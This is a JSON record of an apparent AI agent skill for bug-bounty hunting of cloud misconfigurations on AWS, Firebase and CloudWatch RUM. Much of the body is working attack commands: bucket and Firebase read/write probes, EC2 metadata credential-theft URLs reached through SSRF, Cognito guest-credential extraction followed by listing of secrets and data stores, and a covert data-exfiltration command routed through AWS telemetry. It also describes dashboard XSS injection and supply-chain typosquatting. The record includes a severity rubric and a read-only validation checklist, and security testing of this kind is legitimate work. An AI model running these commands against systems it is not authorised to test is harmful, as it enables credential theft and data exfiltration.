{"id":"hunt-cloud-misconfig","name":"hunt-cloud-misconfig","summary":"クラウドやインフラの誤設定を探す。AWS:公開S3バケット(s3:GetObject anonymous)、許容バケットポリシー(PutObjectAcl公開書き込み)、公開されたCloudFrontオリジン、公開のLambda関数URL、公開RDSスナップショット、JSバンドル内のIAM認証情報、SSRF経由でアク…","body":"## 16. CLOUD / INFRA MISCONFIGS\n\n### S3 / GCS / Azure Blob\n```bash\n# S3 listing\ncurl -s \"https://TARGET-NAME.s3.amazonaws.com/?max-keys=10\"\naws s3 ls s3://target-bucket-name --no-sign-request\n\n# Try common bucket names\nfor name in target target-backup target-assets target-prod target-staging; do\n curl -s -o /dev/null -w \"$name: %{http_code}\\n\" \"https://$name.s3.amazonaws.com/\"\ndone\n\n# Firebase open rules\ncurl -s \"https://TARGET-APP.firebaseio.com/.json\" # read\ncurl -s -X PUT \"https://TARGET-APP.firebaseio.com/test.json\" -d '\"pwned\"' # write\n```\n\n### EC2 Metadata (via SSRF)\n```bash\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys\n```\n\n### Exposed Admin Panels\n```\n/jenkins /grafana /kibana /elasticsearch /swagger-ui.html\n/phpMyAdmin /.env /config.json /api-docs /server-status\n```\n\n---\n\n## Local-verification toolchain\n\nFor testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:\n\n```bash\n# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)\ndocker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0\n\n# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):\nexport AWS_REQUEST_CHECKSUM_CALCULATION=when_required\nexport AWS_RESPONSE_CHECKSUM_VALIDATION=when_required\nexport AWS_ENDPOINT_URL=http://localhost:14566\nexport AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1\n```\n\nWithout those env vars, `aws s3 cp/sync` fails with `InvalidRequest`. Document this for the team. See `docs/verification/phase2j-cloud-localstack.md` for the full reproducible flow.\n\n---\n\n## CloudWatch RUM Weaponization (2024-2026 surface)\n\nAWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to `dataplane.rum..amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in `cloud-iam-deep` → Cognito Identity Pool chain.\n\n### Detection — JS bundle fingerprints\n\n**Snippet-style (most common, embedded in ``):**\n```javascript\n(function(n,i,v,r,s,c,x,z){...})(\n 'cwr',\n '00000000-0000-0000-0000-000000000000', // applicationId (UUID)\n '1.0.0',\n 'us-east-1',\n 'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',\n {\n sessionSampleRate: 1,\n guestRoleArn: \"arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth\",\n identityPoolId: \"us-east-1:abcd1234-...\",\n endpoint: \"https://dataplane.rum.us-east-1.amazonaws.com\",\n telemetries: [\"errors\",\"performance\",\"http\"]\n }\n);\n```\n\n**NPM-style (aws-rum-web package):**\n```javascript\nimport { AwsRum, AwsRumConfig } from 'aws-rum-web';\nconst config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };\nconst awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);\n```\n\n### Regex set for recon\n\n```bash\n# Detect RUM init\ngrep -REn \"cwr\\(['\\\"]init['\\\"]|from\\s+['\\\"]aws-rum-web['\\\"]|new\\s+AwsRum\\(\" .\n\n# Extract applicationId (UUID v4)\ngrep -ErohE \"applicationId['\\\"]?\\s*[:=]\\s*['\\\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\\\"]\" .\n\n# Extract identityPoolId (region:UUID)\ngrep -ErohE \"identityPoolId['\\\"]?\\s*[:=]\\s*['\\\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\\\"]\" .\n\n# Extract guestRoleArn (leaks AWS account ID + role name)\ngrep -ErohE \"guestRoleArn['\\\"]?\\s*[:=]\\s*['\\\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\\\"]\" .\n\n# Endpoint reveals region\ngrep -ErohE \"dataplane\\.rum\\.[a-z0-9-]+\\.amazonaws\\.com\" .\n```\n\n### Attack chains\n\n**Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:\n\n```bash\naws cognito-identity get-id \\\n --identity-pool-id \"us-east-1:abcd1234-...\" \\\n --region us-east-1 --no-sign-request\naws cognito-identity get-credentials-for-identity \\\n --identity-id \"us-east-1:\" \\\n --region us-east-1 --no-sign-request\n# → STS creds; export and:\naws sts get-caller-identity # confirm role\naws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets\n# Automate: pacu / enumerate-iam.py\n```\n\nFull chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.\n\n**Chain B — Telemetry endpoint covert exfil.** `dataplane.rum..amazonaws.com` is an **AWS-owned domain on every enterprise allowlist**. The `PutRumEvents` payload accepts arbitrary `userDetails` and `customEvents` string fields:\n\n```bash\naws rum put-rum-events \\\n --id $(uuidgen) \\\n --app-monitor-details '{\"id\":\"\",\"version\":\"1.0.0\"}' \\\n --user-details '{\"userId\":\"EXFIL_PAYLOAD_HERE\",\"sessionId\":\"\"}' \\\n --rum-events '[{\"id\":\"'$(uuidgen)'\",\"timestamp\":'$(date +%s)',\"type\":\"com.amazon.rum.custom_event\",\"details\":\"{\\\"exfil\\\":\\\"\\\"}\"}]' \\\n --endpoint-url \"https://dataplane.rum.us-east-1.amazonaws.com\" \\\n --region us-east-1\n```\n\nDefenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.\n\n**Chain C — DOM injection via snippet source poisoning.** Many customers either self-host `cwr.js` on their own CDN (`assets.target.com/cwr.js`) or bundle `aws-rum-web` and serve from `static.target.com/main..js`. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against `aws-rum-webb`) gives persistent JS execution on every page-load with the trust of the `aws-rum-web` SDK — including its already-granted Cognito permissions.\n\n**Chain D — Telemetry injection / dashboard poisoning.** With the public `identityPoolId` + `applicationId`, an external attacker can flood `PutRumEvents` with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).\n\n### Severity rubric\n\n| Finding | Severity | Justification |\n|---|---|---|\n| `guestRoleArn` with `*:*` or wildcards on multiple services | **Critical** (9.1+) | Anonymous full AWS access |\n| `guestRoleArn` with `s3:*`, `dynamodb:*`, `secretsmanager:*`, `lambda:Invoke*` on production resources | **High** (7.5-8.8) | Data exfil / RCE depending on resource |\n| `guestRoleArn` with `cognito-identity:*` or `iam:PassRole` | **High** (8.0) | Privilege escalation primitive |\n| `guestRoleArn` with only `rum:PutRumEvents` + endpoint-scoped resource | **Informational** | Documented, intended config |\n| RUM `userDetails` logging PII into events viewable in CloudWatch console | **Medium** (5.3-6.5) | Sensitive data exposure via dashboard sharing |\n| RUM AppMonitor accepts `PutRumEvents` from arbitrary internet sources (telemetry injection) | **Low-Medium** (4.3) | Dashboard poisoning, alert evasion, billing DoS |\n| Self-hosted `cwr.js` on takeoverable subdomain | **Critical** (9.8) when chained | Persistent stored XSS across every customer page |\n\n### Disclosed cases / authoritative writeups\n\nNo CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is \"Cognito identity pool over-permission via embedded SDK\" — RUM is one common embedding.\n\n- **Andres Riancho — \"Misconfigured Cognito Identity Pools\" (2020/2023)** — establishes the attack class. [andresriancho.com](https://andresriancho.com/identity-pools-and-the-default-iam-role-trap/)\n- **Rhino Security Labs — Pacu `cognito__enum_identity_pools`** — production tooling that automates Chain A. [github.com/RhinoSecurityLabs/pacu](https://github.com/RhinoSecurityLabs/pacu)\n- **NotSoSecure / Claranet — \"Exploiting weak configurations in Amazon Cognito\" (Nov 2023)** — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. [notsosecure.com](https://www.notsosecure.com/exploiting-weak-configurations-in-amazon-cognito/)\n- **HackTricks Cloud — `aws-cognito-unauthenticated-enum`** — canonical playbook. [cloud.hacktricks.wiki](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html)\n- **Datadog Security Labs — \"Following AWS Logs Backwards: Cognito Identity Pool Abuse\" (2024)** — telemetry showing real-world abuse rates. [securitylabs.datadoghq.com](https://securitylabs.datadoghq.com/articles/abusing-aws-cognito-misconfigurations/)\n- **aws-observability/aws-rum-web GitHub issues #213, #404** — community discussion of the bundled-snippet security model. [github.com/aws-observability/aws-rum-web](https://github.com/aws-observability/aws-rum-web/issues)\n\n### Validation checklist (before reporting)\n\n1. Extract `identityPoolId` from page source.\n2. Confirm pool allows unauth identities (`get-id` succeeds without auth).\n3. Confirm `get-credentials-for-identity` returns STS creds.\n4. Run `aws sts get-caller-identity` and **screenshot the role ARN**.\n5. Run `enumerate-iam` / Pacu `iam__enum_permissions` — capture **at least one allowed action beyond `rum:PutRumEvents`**. Without this, the finding is Informational.\n6. Demonstrate at least one read/list against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).\n7. **Do not** modify/delete data even if permitted — read-only PoC only.\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-subdomain`** — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → `assets.target.com` takeover.\n- **`cloud-iam-deep`** — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in `.env` → `cloud-iam-deep` enumeration → cross-service `iam:PassRole` escalation.\n- **`hunt-ssrf`** — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.\n- **`supply-chain-attack-recon`** — Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.\n- **`security-arsenal`** — Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.\n- **`triage-validation`** — Apply the Unique-Marker gate: any \"writable bucket\" claim requires a write of a unique marker file and a read-back from a clean session before report submission.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cloud-misconfig","license":"MIT","category":"writing","lang":"en","tokens":3069,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["andresriancho.com","client.rum.us-east-1.amazonaws.com","cloud.hacktricks.wiki","dataplane.rum.us-east-1.amazonaws.com","securitylabs.datadoghq.com","target-app.firebaseio.com","target-name.s3.amazonaws.com","www.notsosecure.com"]}}